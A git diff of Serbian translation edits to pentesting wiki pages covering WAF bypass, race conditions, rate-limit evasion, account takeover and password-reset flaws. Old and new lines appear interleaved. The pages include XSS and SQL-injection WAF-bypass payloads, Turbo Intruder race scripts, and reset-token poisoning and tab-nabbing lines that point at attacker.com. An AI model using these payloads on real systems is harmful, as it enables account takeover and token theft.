Stariji Web Application Firewalls sa Core Rule Set 3.1 (ili nižim) dozvoljavaju poruke veće od **128 KB** isključivanjem inspekcije tela zahteva, ali te poruke neće biti proverene na ranjivosti. Za novije verzije (Core Rule Set 3.2 ili novije), isto se može uraditi isključivanjem maksimalnog ograničenja veličine tela zahteva. Kada zahtev premaši ograničenje veličine:
Ako je **mod prevencije**: Zapisuje i blokira zahtev.\
Ako je **mod detekcije**: Pregleda do ograničenja, ignoriše ostatak i zapisuje ako `Content-Length` premašuje ograničenje.
@ -123,7 +123,7 @@ Podrazumevano, WAF pregledava samo prvih 8KB zahteva. Može povećati ograničen
Do 128KB.
### Obfuskacija <a href="#obfuscation" id="obfuscation"></a>
### Obfuscation <a href="#obfuscation" id="obfuscation"></a>
```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
@ -143,9 +143,9 @@ U zavisnosti od implementacije Unicode normalizacije (više informacija [ovde](h
```
### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>
Kao što je pomenuto u [**ovom blog postu**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), da bismo zaobišli WAF-ove koji mogu održavati kontekst korisničkog unosa, mogli bismo zloupotrebiti WAF tehnike da zapravo normalizujemo korisnički unos.
Kao što je pomenuto u [**ovom blog postu**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), da bismo zaobišli WAF-ove koji mogu održavati kontekst korisničkog unosa, mogli bismo zloupotrebiti tehnike WAF-a da zapravo normalizujemo korisnički unos.
Na primer, u postu se pominje da je **Akamai URL dekodirao korisnički unos 10 puta**. Stoga će nešto poput `<input/%2525252525252525253e/onfocus` biti viđeno od strane Akamai-a kao `<input/>/onfocus` što **može pomisliti da je u redu jer je tag zatvoren**. Međutim, sve dok aplikacija ne URL dekodira unos 10 puta, žrtva će videti nešto poput `<input/%25252525252525253e/onfocus` što je **i dalje važeće za XSS napad**.
Na primer, u postu se pominje da je **Akamai URL dekodirao korisnički unos 10 puta**. Stoga će nešto poput `<input/%2525252525252525253e/onfocus` biti viđeno od strane Akamai-a kao `<input/>/onfocus` što **možda misli da je u redu jer je tag zatvoren**. Međutim, sve dok aplikacija ne URL dekodira unos 10 puta, žrtva će videti nešto poput `<input/%25252525252525253e/onfocus` što je **i dalje važeće za XSS napad**.
Stoga, ovo omogućava da se **sakriju payload-i u kodiranim komponentama** koje će WAF dekodirati i interpretirati dok žrtva neće.
@ -158,9 +158,9 @@ U postu su predloženi sledeći konačni zaobilaženja:
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
Takođe se pominje da, u zavisnosti od **toga kako neki WAF-ovi razumeju kontekst** korisničkog unosa, može biti moguće zloupotrebiti to. Predloženi primer u blogu je da Akamai dozvoljava (o)stavljanje bilo čega između `/*` i `*/` (potencijalno zato što se ovo često koristi kao komentari). Stoga, SQL injekcija kao što je `/*'or sleep(5)-- -*/` neće biti uhvaćena i biće važeća jer je `/*` početni string injekcije, a `*/` je komentarisano.
Takođe se pominje da, u zavisnosti od **toga kako neki WAF-ovi razumeju kontekst** korisničkog unosa, može biti moguće zloupotrebiti to. Predloženi primer u blogu je da Akamai dozvoljava (dozvoljavao) da se stavi bilo šta između `/*` i `*/` (potencijalno zato što se ovo često koristi kao komentari). Stoga, SQL injekcija kao što je `/*'or sleep(5)-- -*/` neće biti uhvaćena i biće važeća jer je `/*` početni string injekcije, a `*/` je komentarisano.
Ove vrste kontekstualnih problema se takođe mogu koristiti za **zloupotrebu drugih ranjivosti osim one za koju se očekuje** da će biti iskorišćena od strane WAF-a (npr. ovo se takođe može koristiti za iskorišćavanje XSS-a).
Ove vrste problema sa kontekstom se takođe mogu koristiti za **zloupotrebu drugih ranjivosti osim one za koju se očekuje** da će biti iskorišćena od strane WAF-a (npr. ovo se takođe može koristiti za iskorišćavanje XSS-a).
### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
@ -172,7 +172,7 @@ h2c-smuggling.md
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generišite URL API gateway-a za korišćenje sa ffuf
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Slično fireprox-u
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite dodatak koji koristi API gateway IP adrese
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite dodatak koji koristi IP adrese API gateway-a
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Dinamički određeni broj instanci kontejnera se aktivira na osnovu veličine ulazne datoteke i faktora deljenja, pri čemu se ulaz deli na delove za paralelno izvršavanje, kao što je 100 instanci koje obrađuju 100 delova iz ulazne datoteke od 10.000 linija sa faktorom deljenja od 100 linija.
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)

View File

@ -13,17 +13,17 @@ Ovde možete pronaći neke tehnike za sinhronizaciju zahteva:
#### HTTP/2 napad sa jednim paketom vs. HTTP/1.1 sinhronizacija poslednjeg bajta
- **HTTP/2**: Podržava slanje dva zahteva preko jedne TCP veze, smanjujući uticaj mrežnog jitter-a. Međutim, zbog varijacija na strani servera, dva zahteva možda neće biti dovoljna za dosledno iskorišćavanje trkačkog uslova.
- **HTTP/1.1 'Sinhronizacija poslednjeg bajta'**: Omogućava prethodno slanje većine delova 20-30 zahteva, zadržavajući mali fragment, koji se zatim šalje zajedno, postizajući simultano stizanje na server.
- **HTTP/2**: Podržava slanje dva zahteva preko jedne TCP veze, smanjujući uticaj mrežnog jitter-a. Međutim, zbog varijacija na strani servera, dva zahteva možda neće biti dovoljna za dosledno iskorišćavanje trkačkih uslova.
- **HTTP/1.1 'Sinhronizacija poslednjeg bajta'**: Omogućava prethodno slanje većine delova 20-30 zahteva, zadržavajući mali fragment, koji se zatim šalje zajedno, postizajući simultani dolazak na server.
**Priprema za sinhronizaciju poslednjeg bajta** uključuje:
1. Slanje zaglavlja i podataka tela bez poslednjeg bajta bez završavanja toka.
2. Pauza od 100ms nakon inicijalnog slanja.
3. Onemogućavanje TCP_NODELAY kako bi se iskoristio Nagle-ov algoritam za grupisanje finalnih okvira.
4. Pingovanje za zagrevanje veze.
3. Onemogućavanje TCP_NODELAY kako bi se iskoristila Nagleova algoritam za grupisanje finalnih okvira.
4. Pinging za zagrevanje veze.
Sledeće slanje zadržanih okvira trebalo bi da rezultira njihovim stizanjem u jednom paketu, što se može proveriti putem Wireshark-a. Ova metoda se ne primenjuje na statične datoteke, koje obično nisu uključene u RC napade.
Naknadno slanje zadržanih okvira trebalo bi da rezultira njihovim dolaskom u jednom paketu, što se može proveriti putem Wiresharka. Ova metoda se ne primenjuje na statične datoteke, koje obično nisu uključene u napade na trkačke uslove.
### Prilagođavanje arhitekturi servera
@ -50,7 +50,7 @@ for password in passwords:
engine.queue(target.req, password, gate='race1')
```
> [!WARNING]
> Ako veb ne podržava HTTP2 (samo HTTP1.1) koristite `Engine.THREADED` ili `Engine.BURP` umesto `Engine.BURP2`.
> Ako web ne podržava HTTP2 (samo HTTP1.1) koristite `Engine.THREADED` ili `Engine.BURP` umesto `Engine.BURP2`.
- **Tubo Intruder - HTTP2 napad sa jednim paketom (Više krajnjih tačaka)**: U slučaju da treba da pošaljete zahtev ka 1 krajnjoj tački, a zatim više ka drugim krajnjim tačkama da aktivirate RCE, možete promeniti `race-single-packet-attack.py` skriptu sa nečim poput:
```python
@ -86,7 +86,7 @@ engine.openGate(currentAttempt)
- Takođe je dostupno u **Repeater** putem nove opcije '**Send group in parallel**' u Burp Suite.
- Za **limit-overrun** možete jednostavno dodati **istu zahtev 50 puta** u grupu.
- Za **connection warming**, možete **dodati** na **početku** **grupe** neke **zahteve** ka nekoj nestatičnoj delu web servera.
- Za **delaying** proces **između** obrade **jednog zahteva i drugog** u 2 podstanja, možete **dodati dodatne zahteve između** oba zahteva.
- Za **delaying** proces **između** obrade **jednog zahteva i drugog** u 2 podstanja koraka, možete **dodati dodatne zahteve između** oba zahteva.
- Za **multi-endpoint** RC možete početi slati **zahtev** koji **ide u skriveno stanje** i zatim **50 zahteva** odmah nakon njega koji **iskorišćava skriveno stanje**.
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
@ -219,10 +219,10 @@ response = requests.get(url, verify=False)
```
### Poboljšanje napada sa jednim paketom
U originalnom istraživanju objašnjeno je da ovaj napad ima limit od 1.500 bajtova. Međutim, u [**ovom postu**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) objašnjeno je kako je moguće proširiti ograničenje od 1.500 bajtova napada sa jednim paketom na **65.535 B ograničenje prozora TCP-a korišćenjem fragmentacije IP sloja** (deljenje jednog paketa na više IP paketa) i slanje u različitom redosledu, što je omogućilo sprečavanje ponovnog sastavljanja paketa dok svi fragmenti ne stignu do servera. Ova tehnika je omogućila istraživaču da pošalje 10.000 zahteva za otprilike 166ms.&#x20;
U originalnom istraživanju objašnjeno je da ovaj napad ima limit od 1.500 bajtova. Međutim, u [**ovom postu**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) objašnjeno je kako je moguće proširiti ograničenje od 1.500 bajtova napada sa jednim paketom na **65.535 B ograničenje prozora TCP-a korišćenjem fragmentacije IP sloja** (deljenje jednog paketa na više IP paketa) i slanje u različitom redosledu, što je omogućilo sprečavanje ponovnog sastavljanja paketa dok svi fragmenti ne stignu na server. Ova tehnika je omogućila istraživaču da pošalje 10.000 zahteva za otprilike 166ms.&#x20;
Napomena: iako ovo poboljšanje čini napad pouzdanijim u RC-u koji zahteva da stotine/hiljade paketa stignu u isto vreme, može imati i neka softverska ograničenja. Neki popularni HTTP serveri kao što su Apache, Nginx i Go imaju strogo podešavanje `SETTINGS_MAX_CONCURRENT_STREAMS` na 100, 128 i 250. Međutim, drugi kao što su NodeJS i nghttp2 nemaju ograničenje.\
To u suštini znači da će Apache uzeti u obzir samo 100 HTTP veza iz jedne TCP veze (ograničavajući ovaj RC napad).
To u suštini znači da će Apache uzeti u obzir samo 100 HTTP konekcija iz jedne TCP konekcije (ograničavajući ovaj RC napad).
Možete pronaći neke primere korišćenja ove tehnike u repozitorijumu [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
@ -230,8 +230,8 @@ Možete pronaći neke primere korišćenja ove tehnike u repozitorijumu [https:/
Pre prethodnog istraživanja, ovo su bili neki payload-ovi koji su korišćeni i koji su samo pokušavali da pošalju pakete što je brže moguće kako bi izazvali RC.
- **Repeater:** Proverite primere iz prethodne sekcije.
- **Intruder**: Pošaljite **zahtev** na **Intruder**, postavite **broj niti** na **30** unutar **Opcija menija**, i izaberite kao payload **Null payloads** i generišite **30.**
- **Repeater:** Pogledajte primere iz prethodne sekcije.
- **Intruder**: Pošaljite **zahtev** na **Intruder**, postavite **broj niti** na **30** unutar **menija Opcije** i izaberite kao payload **Null payloads** i generišite **30.**
- **Turbo Intruder**
```python
def queueRequests(target, wordlists):
@ -283,7 +283,7 @@ asyncio.run(main())
### Limit-overrun / TOCTOU
Ovo je najosnovnija vrsta race condition gde **ranjivosti** **apare** na mestima koja **ograničavaju broj puta kada možete izvršiti neku radnju**. Kao korišćenje istog koda za popust u veb prodavnici više puta. Veoma lak primer može se naći u [**ovom izveštaju**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ili u [**ovoj grešci**](https://hackerone.com/reports/759247)**.**
Ovo je najosnovnija vrsta trke uslov, gde **ranjivosti** koje se **pojavljuju** na mestima koja **ograničavaju broj puta kada možete izvršiti neku radnju**. Kao korišćenje istog koda za popust u veb prodavnici više puta. Veoma lak primer može se naći u [**ovom izveštaju**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ili u [**ovoj grešci**](https://hackerone.com/reports/759247)**.**
Postoji mnogo varijacija ove vrste napada, uključujući:
@ -291,11 +291,11 @@ Postoji mnogo varijacija ove vrste napada, uključujući:
- Ocenjivanje proizvoda više puta
- Podizanje ili prebacivanje gotovine iznad stanja na računu
- Ponovno korišćenje jedne CAPTCHA rešenja
- Zaobilaženje anti-brute-force ograničenja brzine
- Zaobilaženje anti-brute-force ograničenja
### **Skriveni podstanja**
Eksploatacija složenih race condition često uključuje korišćenje kratkih prilika za interakciju sa skrivenim ili **nepredviđenim mašinskim podstanjem**. Evo kako pristupiti tome:
Eksploatacija složenih trka uslova često uključuje korišćenje kratkih prilika za interakciju sa skrivenim ili **nepredviđenim mašinskim podstanjem**. Evo kako pristupiti tome:
1. **Identifikujte Potencijalna Skrivena Podstanja**
- Počnite tako što ćete odrediti krajnje tačke koje modifikuju ili interaguju sa kritičnim podacima, kao što su korisnički profili ili procesi resetovanja lozinke. Fokusirajte se na:
@ -303,9 +303,9 @@ Eksploatacija složenih race condition često uključuje korišćenje kratkih pr
- **Akcija**: Tražite operacije koje menjaju postojeće podatke, koje su verovatnije da će stvoriti uslove za eksploataciju u poređenju sa onima koje dodaju nove podatke.
- **Ključ**: Uspešni napadi obično uključuju operacije koje su ključne na istom identifikatoru, npr. korisničko ime ili token za resetovanje.
2. **Sprovedite Početno Istraživanje**
- Testirajte identifikovane krajnje tačke sa napadima race condition, posmatrajući bilo kakve odstupanja od očekivanih rezultata. Neočekivani odgovori ili promene u ponašanju aplikacije mogu signalizirati ranjivost.
3. **Demonstrirajte Ranjivost**
- Sužite napad na minimalan broj zahteva potrebnih za eksploataciju ranjivosti, često samo dva. Ovaj korak može zahtevati više pokušaja ili automatizaciju zbog preciznog tajminga uključenog.
- Testirajte identifikovane krajnje tačke sa napadima trka uslova, posmatrajući bilo kakve odstupanja od očekivanih rezultata. Neočekivani odgovori ili promene u ponašanju aplikacije mogu signalizirati ranjivost.
3. **Dokažite Ranjivost**
- Sužavajte napad na minimalan broj zahteva potrebnih za eksploataciju ranjivosti, često samo dva. Ovaj korak može zahtevati više pokušaja ili automatizaciju zbog preciznog tajminga uključenog.
### Napadi Osetljivi na Vreme
@ -325,7 +325,7 @@ Preciznost u tajmingu zahteva može otkriti ranjivosti, posebno kada se koriste
### Plaćanje i dodavanje stavke
Proverite ovo [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) da vidite kako da **platite** u prodavnici i **dodate dodatnu** stavku za koju **nećete morati da platite.**
Proverite ovo [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) da vidite kako da **platite** u prodavnici i **dodate dodatnu** stavku za koju **nećete morati da platite**.
### Potvrda drugih emailova
@ -339,7 +339,7 @@ Prema [**ovoj studiji**](https://portswigger.net/research/smashing-the-state-mac
### Zaobilaženje 2FA
Sledeći pseudo-kod je ranjiv na race condition jer u veoma kratkom vremenu **2FA nije primenjen** dok se sesija kreira:
Sledeći pseudo-kod je ranjiv na trku uslova jer u veoma kratkom vremenu **2FA nije primenjen** dok se sesija kreira:
```python
session['userid'] = user.userid
if user.mfa_enabled:
@ -350,7 +350,7 @@ session['enforce_mfa'] = True
### OAuth2 večna postojanost
Postoji nekoliko [**OAUth provajdera**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Ove usluge će vam omogućiti da kreirate aplikaciju i autentifikujete korisnike koje je provajder registrovao. Da biste to uradili, **klijent** će morati da **dozvoli vašoj aplikaciji** da pristupi nekim od njihovih podataka unutar **OAUth provajdera**.\
Dakle, do sada je to samo uobičajeni prijavljivanje putem google/linkedin/github... gde se pojavljuje stranica koja kaže: "_Aplikacija \<InsertCoolName> želi da pristupi vašim informacijama, da li želite da to dozvolite?_"
Dakle, do sada je to samo uobičajeni prijavljivanje sa google/linkedin/github... gde se pojavljuje stranica koja kaže: "_Aplikacija \<InsertCoolName> želi da pristupi vašim informacijama, da li želite da to dozvolite?_"
#### Race Condition u `authorization_code`

View File

@ -38,7 +38,7 @@ Neki API gateway-evi su konfigurisani da primenjuju ograničenje brzine na osnov
### Prijavljivanje na svoj nalog pre svakog pokušaja
Prijavljivanje na nalog pre svakog pokušaja, ili svakog skupa pokušaja, može resetovati brojač ograničenja brzine. Ovo je posebno korisno prilikom testiranja funkcionalnosti prijavljivanja. Korišćenje Pitchfork napada u alatima kao što je Burp Suite, za rotaciju kredencijala svake nekoliko pokušaja i osiguranje da su praćeni preusmeravanja označeni, može efikasno restartovati brojače ograničenja brzine.
Prijavljivanje na nalog pre svakog pokušaja, ili svake serije pokušaja, može resetovati brojač ograničenja brzine. Ovo je posebno korisno prilikom testiranja funkcionalnosti prijavljivanja. Korišćenje Pitchfork napada u alatima kao što je Burp Suite, za rotaciju kredencijala svake nekoliko pokušaja i osiguranje da su praćeni preusmeravanja označeni, može efikasno restartovati brojače ograničenja brzine.
### Korišćenje mreža proksija
@ -46,7 +46,7 @@ Implementacija mreže proksija za distribuciju zahteva preko više IP adresa mo
### Deljenje napada preko različitih naloga ili sesija
Ako ciljni sistem primenjuje ograničenja brzine na osnovu naloga ili sesije, distribucija napada ili testa preko više naloga ili sesija može pomoći u izbegavanju otkrivanja. Ovaj pristup zahteva upravljanje više identiteta ili tokena sesije, ali može efikasno raspodeliti opterećenje kako bi ostalo unutar dozvoljenih granica.
Ako ciljni sistem primenjuje ograničenja brzine na osnovu naloga ili sesije, distribucija napada ili testa preko više naloga ili sesija može pomoći u izbegavanju otkrivanja. Ovaj pristup zahteva upravljanje više identiteta ili sesijskih tokena, ali može efikasno raspodeliti opterećenje kako bi ostalo unutar dozvoljenih granica.
### Nastavite da pokušavate

View File

@ -1,4 +1,4 @@
# Registracija & Preuzimanje Ranljivosti
# Registracija i Preuzimanje Ranljivosti
{{#include ../banners/hacktricks-training.md}}
@ -47,7 +47,7 @@ Kada se registrujete, pokušajte da promenite email i proverite da li je ova pro
### Dodatne Provere
- Proverite da li možete koristiti **disposable emails**
- Proverite da li možete koristiti **disposable email-e**
- **Duga** **lozinka** (>200) dovodi do **DoS**
- **Proverite ograničenja brzine na kreiranju naloga**
- Koristite username@**burp_collab**.net i analizirajte **callback**
@ -66,8 +66,8 @@ Kada se registrujete, pokušajte da promenite email i proverite da li je ova pro
### Trovanje Resetovanja Lozinke <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Presretnite zahtev za resetovanje lozinke u Burp Suite
2. Dodajte ili izmenite sledeće heder-e u Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Prosledite zahtev sa izmenjenim heder-om\
2. Dodajte ili izmenite sledeće header-e u Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Prosledite zahtev sa izmenjenim header-om\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Potražite URL za resetovanje lozinke na osnovu _host header-a_ kao što je : `https://attacker.com/reset-password.php?token=TOKEN`
@ -92,7 +92,7 @@ email=victim@mail.com|hacker@mail.com
1. Napadač mora da se prijavi sa svojim nalogom i ode na funkciju **Promena lozinke**.
2. Pokrenite Burp Suite i presretnite zahtev.
3. Pošaljite ga na repeater tab i izmenite parametre: ID korisnika/email\
3. Pošaljite ga na repeater tab i izmenite parametre: User ID/email\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Slab token za resetovanje lozinke <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
@ -101,7 +101,7 @@ Token za resetovanje lozinke treba da bude nasumično generisan i jedinstven sva
Pokušajte da odredite da li token ističe ili je uvek isti, u nekim slučajevima algoritam za generisanje je slab i može se pogoditi. Sledeće varijable mogu biti korišćene od strane algoritma.
- Vreme
- ID korisnika
- UserID
- Email korisnika
- Ime i prezime
- Datum rođenja
@ -119,7 +119,7 @@ Pokušajte da odredite da li token ističe ili je uvek isti, u nekim slučajevim
### Resetovanje lozinke putem kolizije korisničkog imena <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. Registrujte se na sistem sa korisničkim imenom identičnim korisničkom imenu žrtve, ali sa razmacima umetnutim pre i/ili posle korisničkog imena. npr: `"admin "`
1. Registrujte se u sistemu sa korisničkim imenom identičnim korisničkom imenu žrtve, ali sa razmacima umetnutim pre i/ili posle korisničkog imena. npr: `"admin "`
2. Zatražite resetovanje lozinke sa svojim zlonamernim korisničkim imenom.
3. Iskoristite token poslat na vaš email i resetujte lozinku žrtve.
4. Prijavite se na nalog žrtve sa novom lozinkom.
@ -130,7 +130,7 @@ Pogledajte: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Preuzimanje naloga putem Cross Site Scripting-a <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. Pronađite XSS unutar aplikacije ili poddomena ako su kolačići ograničeni na roditeljski domen: `*.domain.com`
2. Icurite trenutni **kolačić sesije**
2. Icurite trenutni **sessions cookie**
3. Autentifikujte se kao korisnik koristeći kolačić
### Preuzimanje naloga putem HTTP Request Smuggling-a <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>

View File

@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
## **Curčenje Tokena za Resetovanje Lozinke Putem Referrera**
## **Curčenje Tokena za Resetovanje Lozinke Putem Referrer-a**
- HTTP referer header može curiti token za resetovanje lozinke ako je uključen u URL. Ovo se može desiti kada korisnik klikne na link treće strane nakon što zatraži resetovanje lozinke.
- **Uticaj**: Potencijalno preuzimanje naloga putem Cross-Site Request Forgery (CSRF) napada.
@ -17,15 +17,15 @@
- Napadači mogu manipulisati Host header-om tokom zahteva za resetovanje lozinke kako bi usmerili link za resetovanje na zloćudni sajt.
- **Uticaj**: Dovodi do potencijalnog preuzimanja naloga curenjem reset tokena napadačima.
- **Koraci za ublažavanje**:
- Validirajte Host header u odnosu na belu listu dozvoljenih domena.
- Koristite sigurne, server-side metode za generisanje apsolutnih URL-ova.
- **Zakrpiti**: Koristite `$_SERVER['SERVER_NAME']` za konstrukciju URL-ova za resetovanje lozinke umesto `$_SERVER['HTTP_HOST']`.
- Validirati Host header u odnosu na belu listu dozvoljenih domena.
- Koristiti sigurne, server-side metode za generisanje apsolutnih URL-ova.
- **Zakrpiti**: Koristiti `$_SERVER['SERVER_NAME']` za konstrukciju URL-ova za resetovanje lozinke umesto `$_SERVER['HTTP_HOST']`.
- **Reference**:
- [Acunetix Članak o Trovanju Resetovanja Lozinke](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
## **Resetovanje Lozinke Manipulacijom Email Parametra**
Napadači mogu manipulirati zahtevom za resetovanje lozinke dodavanjem dodatnih email parametara kako bi preusmerili link za resetovanje.
Napadači mogu manipulirati zahtevom za resetovanje lozinke dodavanjem dodatnih email parametara kako bi skrenuli link za resetovanje.
- Dodajte email napadača kao drugi parametar koristeći &
```php
@ -77,7 +77,7 @@ POST /resetPassword
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
## **Promena email-a i lozinke bilo kog korisnika putem API parametara**
## **Menjanje email-a i lozinke bilo kog korisnika putem API parametara**
- Napadači mogu modifikovati email i lozinku parametre u API zahtevima kako bi promenili akreditive naloga.
```php
@ -91,7 +91,7 @@ POST /api/changepass
- **Reference**:
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
## **Bez Ograničenja Brzine: Email Bombardovanje**
## **Nema ograničenja brzine: Email bombardovanje**
- Nedostatak ograničenja brzine na zahtevima za resetovanje lozinke može dovesti do bombardovanja email-ova, preplavljujući korisnika reset email-ovima.
- **Koraci za ublažavanje**:
@ -100,9 +100,9 @@ POST /api/changepass
- **Reference**:
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
## **Saznajte Kako se Generiše Token za Resetovanje Lozinke**
## **Saznajte kako se generiše token za resetovanje lozinke**
- Razumevanje obrasca ili metode iza generisanja tokena može dovesti do predviđanja ili brute-forcing tokena. Neke opcije:
- Razumevanje obrasca ili metode iza generacije tokena može dovesti do predviđanja ili brute-forcing tokena. Neke opcije:
- Na osnovu vremenskog pečata
- Na osnovu UserID-a
- Na osnovu email-a korisnika
@ -110,7 +110,7 @@ POST /api/changepass
- Na osnovu datuma rođenja
- Na osnovu kriptografije
- **Koraci za ublažavanje**:
- Koristiti jake, kriptografske metode za generisanje tokena.
- Koristiti jake, kriptografske metode za generaciju tokena.
- Osigurati dovoljnu nasumičnost i dužinu kako bi se sprečila predvidljivost.
- **Alati**: Koristiti Burp Sequencer za analizu nasumičnosti tokena.
@ -123,10 +123,10 @@ uuid-insecurities.md
{{#endref}}
- **Koraci za ublažavanje**:
- Koristiti GUID verziju 4 za nasumičnost ili implementirati dodatne mere bezbednosti za druge verzije.
- Koristiti GUID verziju 4 za nasumičnost ili implementirati dodatne bezbednosne mere za druge verzije.
- **Alati**: Koristiti [guidtool](https://github.com/intruder-io/guidtool) za analizu i generisanje GUID-ova.
## **Manipulacija Odgovorom: Zamenite Loš Odgovor sa Dobrim**
## **Manipulacija odgovorom: Zamenite loš odgovor dobrim**
- Manipulacija HTTP odgovorima kako bi se zaobišle poruke o grešci ili ograničenja.
- **Koraci za ublažavanje**:
@ -135,32 +135,32 @@ uuid-insecurities.md
- **Reference**:
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
## **Korišćenje Isteklog Tokena**
## **Korišćenje istekao tokena**
- Testiranje da li se istekli tokeni još uvek mogu koristiti za resetovanje lozinke.
- Testiranje da li se istekao token i dalje može koristiti za resetovanje lozinke.
- **Koraci za ublažavanje**:
- Implementirati stroge politike isteka tokena i validirati isteka tokena na serverskoj strani.
- Implementirati stroge politike isteka tokena i validirati isteak tokena na serverskoj strani.
## **Brute Force Token za Resetovanje Lozinke**
## **Brute Force token za resetovanje lozinke**
- Pokušaj brute-force-a reset tokena koristeći alate kao što su Burpsuite i IP-Rotator kako bi se zaobišla ograničenja brzine zasnovana na IP-u.
- **Koraci za ublažavanje**:
- Implementirati robusno ograničenje brzine i mehanizme zaključavanja naloga.
- Pratiti sumnjive aktivnosti koje ukazuju na brute-force napade.
## **Pokušajte da Koristite Svoj Token**
## **Pokušajte koristiti svoj token**
- Testiranje da li se napadačev reset token može koristiti u kombinaciji sa email-om žrtve.
- **Koraci za ublažavanje**:
- Osigurati da su tokeni vezani za korisničku sesiju ili druge korisničke atribute.
## **Nevaženje Sesije pri Odjavi/Resetovanju Lozinke**
## **Nevaženje sesije prilikom odjave/resetovanja lozinke**
- Osigurati da se sesije nevaže kada se korisnik odjavi ili resetuje svoju lozinku.
- **Koraci za ublažavanje**:
- Implementirati pravilno upravljanje sesijama, osiguravajući da se sve sesije nevaže pri odjavi ili resetovanju lozinke.
- Implementirati pravilno upravljanje sesijama, osiguravajući da se sve sesije nevaže prilikom odjave ili resetovanja lozinke.
## **Nevaženje Sesije pri Odjavi/Resetovanju Lozinke**
## **Nevaženje sesije prilikom odjave/resetovanja lozinke**
- Reset tokeni bi trebali imati vreme isteka nakon kojeg postaju nevažeći.
- **Koraci za ublažavanje**:

View File

@ -3,9 +3,9 @@
# Opis
U situaciji gde **napadač** može da **kontroliše** **`href`** argument **`<a`** taga sa atributom **`target="_blank" rel="opener"`** koji će biti kliknut od strane žrtve, **napadač** **usmerava** ovu **vezu** na web stranicu pod njegovom kontrolom (**maliciozna** **web stranica**). Kada **žrtva klikne** na link i pristupi napadačevoj web stranici, ova **maliciozna** **web stranica** će moći da **kontroliše** **originalnu** **stranicu** putem javascript objekta **`window.opener`**.\
Ako stranica nema **`rel="opener"` ali sadrži `target="_blank"` i takođe nema `rel="noopener"`**, može biti takođe ranjiva.
Ako stranica nema **`rel="opener"` ali sadrži `target="_blank"` i takođe nema `rel="noopener"`**, takođe može biti ranjiva.
Uobičajen način za zloupotrebu ovog ponašanja bio bi da se **promeni lokacija originalnog web-a** putem `window.opener.location = https://attacker.com/victim.html` na web koji kontroliše napadač i koji **izgleda kao originalni**, tako da može da **imitira** **formu za prijavu** originalne web stranice i traži od korisnika kredencijale.
Uobičajen način za zloupotrebu ovog ponašanja bio bi da se **promeni lokacija originalnog web-a** putem `window.opener.location = https://attacker.com/victim.html` na web stranicu koju kontroliše napadač koja **izgleda kao originalna**, tako da može da **imitira** **formu za prijavu** originalne web stranice i traži od korisnika kredencijale.
Međutim, imajte na umu da pošto **napadač sada može da kontroliše objekat prozora originalne web stranice**, može ga zloupotrebiti na druge načine za izvođenje **diskretnijih napada** (možda modifikovanjem javascript događaja da izvuče informacije na server pod njegovom kontrolom?)

View File

@ -12,7 +12,7 @@ saml-basics.md
## Alat
